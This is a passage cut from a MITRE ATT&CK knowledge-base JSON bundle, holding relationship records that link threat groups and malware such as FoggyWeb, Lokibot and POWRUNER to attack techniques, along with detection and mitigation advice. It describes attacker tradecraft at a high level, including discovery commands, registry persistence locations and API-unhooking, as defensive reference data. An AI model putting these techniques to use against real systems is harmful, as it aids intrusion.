2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--52e9ca8d-a778-46d1-9521-743a8e47c503","created":"2021-11-16T15:32:34.252Z","x_mitre_version":"1.0","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FoggyWeb](https://attack.mitre.org/software/S0661) can retrieve configuration data from a compromised AD FS server.(Citation: MSTIC FoggyWeb September 2021)","modified":"2022-04-15T17:05:10.474Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--52eba50c-4ebb-4e61-8065-4f6483f55321","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for creation of binaries and service executables that do not occur during a regular software update or an update scheduled by the organization. This behavior also considers files that are overwritten.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--52ecf0cd-4e5f-4331-b4d8-42618f155c5c","type":"relationship","created":"2020-12-29T17:07:59.932Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T17:07:59.932Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used Google Chrome bookmarks to identify internal resources and assets.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--52ed39dd-0f4c-4e30-8b3b-7eb75b5c87e3","created":"2022-01-18T18:15:50.985Z","x_mitre_version":"1.0","external_references":[{"source_name":"CrowdStrike AQUATIC PANDA December 2021","url":"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/","description":"Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) has downloaded additional malware onto compromised hosts.(Citation: CrowdStrike AQUATIC PANDA December 2021)","modified":"2022-04-10T18:32:55.533Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--52f31493-1654-4516-960d-c79018f1efd8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets","description":"Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.","source_name":"Symantec Thrip June 2018"}],"modified":"2019-03-25T17:06:37.138Z","description":"[Thrip](https://attack.mitre.org/groups/G0076) used a cloud-based remote access software called LogMeIn for their attacks.(Citation: Symantec Thrip June 2018)","relationship_type":"uses","source_ref":"intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--52f3a62b-621b-4cef-86f6-8152fa719473","created":"2021-12-01T18:55:31.027Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Chrommme](https://attack.mitre.org/software/S0667) has the ability to list drives and obtain the computer name of a compromised host.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-03T19:33:31.427Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--579607c2-d046-40df-99ab-beb479c37a2a","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--52f444aa-ef68-4c26-b0a4-3dbc568eae63","created":"2024-06-18T19:51:50.541Z","revoked":false,"external_references":[{"source_name":"Google TAG COLDRIVER January 2024","description":"Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.","url":"https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-18T19:51:50.541Z","description":"[Star Blizzard](https://attack.mitre.org/groups/G1033) has uploaded malicious payloads to cloud storage sites.(Citation: Google TAG COLDRIVER January 2024)","relationship_type":"uses","source_ref":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--52f5f77e-9018-4a2a-b3e8-80daa3569493","created":"2022-04-28T16:08:52.206Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for network traffic originating from unknown/unexpected hardware devices. Local network traffic metadata (such as source MAC addressing) as well as usage of network management protocols such as DHCP may be helpful in identifying hardware.","modified":"2022-04-28T16:08:52.206Z","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--52fb33e7-e53c-4d1f-b052-d3e373a64672","created":"2022-10-13T15:41:26.092Z","revoked":false,"external_references":[{"source_name":"BlackBerry Amadey 2020","description":"Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022.","url":"https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T15:41:26.092Z","description":"[Amadey](https://attack.mitre.org/software/S1025) has sent victim data to its C2 servers.(Citation: BlackBerry Amadey 2020)","relationship_type":"uses","source_ref":"malware--05318127-5962-444b-b900-a9dcfe0ff6e9","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--52fb6aab-7a55-437d-8a2f-d3f84bf98a2f","type":"relationship","created":"2021-07-01T17:03:36.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-08-19T18:19:50.577Z","description":"[Nebulae](https://attack.mitre.org/software/S0630) can achieve persistence through a Registry Run key.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--52fcde3f-d3af-4785-940f-5856dd657455","type":"relationship","created":"2019-06-20T15:44:50.969Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.","url":"http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf","source_name":"CERT-EU DDoS March 2017"}],"modified":"2021-04-12T18:34:07.218Z","description":"When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)\n\nDepending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)\n\nAs immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5301c007-7c00-4b4d-b355-864db8de052f","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.409Z","description":"[CORESHELL](https://attack.mitre.org/software/S0137) collects hostname, volume serial number and OS version data from the victim and sends the information to its C2 server.(Citation: FireEye APT28)","relationship_type":"uses","source_ref":"malware--60c18d06-7b91-4742-bae3-647845cd9d81","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--530ca8a2-0cee-4aa5-a445-a8ad5822fc32","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Monitor executed commands and arguments that may establish persistence through executing malicious commands triggered by a user’s shell.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--531e2785-0bbd-43f0-8784-ebe6808afa98","created":"2023-03-31T17:31:38.458Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T03:28:04.450Z","description":"Monitor for changes to Registry entries for network providers (e.g., `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order`) and correlate then investigate the DLL files these values reference.","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5329433a-2e84-4f56-b933-01620892e333","created":"2022-01-09T22:09:04.144Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.677Z","description":"(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"malware--fb28627c-d6ea-4c35-b138-ab5e96ae5445","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5329d477-4378-4635-8da8-ed427d7863fc","type":"relationship","created":"2020-01-24T14:56:24.415Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-05-04T19:05:30.421Z","description":"Changing UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.","relationship_type":"mitigates","source_ref":"course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808","target_ref":"attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--532acf80-0480-40ec-9a9b-72376d0ea075","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Inventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace and HKEY_CLASSES_ROOT\\CLSID\\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the CPLs and Extended Properties Registry keys of HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}).(Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Implementing CPL","description":"M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.","url":"https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"},{"source_name":"Microsoft Implementing CPL","description":"M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.","url":"https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"},{"source_name":"Microsoft Implementing CPL","description":"M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.","url":"https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--532db73a-7b3e-44a5-9115-6c366766a756","type":"relationship","created":"2021-04-16T21:43:13.711Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2021-04-16T21:43:13.711Z","description":"[Bazar](https://attack.mitre.org/software/S0534) has manually loaded ntdll from disk in order to identity and remove API hooks set by security products.(Citation: NCC Group Team9 June 2020)\t","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--532feb00-b2ba-4cf6-81e8-57750d30b039","type":"relationship","created":"2019-09-13T12:51:46.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"},{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."},{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020."}],"modified":"2020-11-23T22:19:46.882Z","description":"[Machete](https://attack.mitre.org/groups/G0095) used multiple compiled Python scripts on the victim’s system. [Machete](https://attack.mitre.org/groups/G0095)'s main backdoor [Machete](https://attack.mitre.org/software/S0409) is also written in Python.(Citation: Cylance Machete Mar 2017)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)","relationship_type":"uses","source_ref":"intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--533036d1-d0db-4bb1-b14c-eee83261fc66","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Monitor script processes, such as `cscript that may be used to proxy execution of malicious files.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53339b8f-f66b-4bcc-86a8-31daaeebb0e6","type":"relationship","created":"2021-09-15T21:15:30.168Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-09-15T21:15:30.168Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) can search for specific files on an infected host.(Citation: Talos Lokibot Jan 2021)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53356453-2cf1-46d9-ac8f-77fc3a2274d9","type":"relationship","created":"2020-05-29T20:09:48.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro TA505 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/","description":"Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."}],"modified":"2020-06-17T19:18:13.843Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used fast flux to mask botnets by distributing payloads across multiple IPs.(Citation: Trend Micro TA505 June 2019)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--533a2f2c-6cc9-48fa-b029-17cc827e12d7","type":"relationship","created":"2022-03-25T00:25:48.792Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-25T00:25:48.792Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can use WMI for lateral movement.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--533d9f70-6f01-4eed-a198-bf0d29586897","type":"relationship","created":"2020-05-18T21:01:51.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoudMiner June 2019","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}],"modified":"2020-06-23T00:48:35.280Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) has set the attributes of the VirtualBox directory and VBoxVmService parent directory to \"hidden\".(Citation: ESET LoudMiner June 2019)","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--533deac3-2f27-4256-bb11-7d68d8824d47","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}],"modified":"2020-03-18T23:12:20.929Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) may collect domain group information by running net group /domain or a series of other commands on a victim.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5342c0fb-0f4d-456a-a7e7-525c60b7f82e","type":"relationship","created":"2020-06-24T17:45:50.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T17:45:50.049Z","description":"[build_downer](https://attack.mitre.org/software/S0471) can extract malware from a downloaded JPEG.(Citation: Trend Micro Tick November 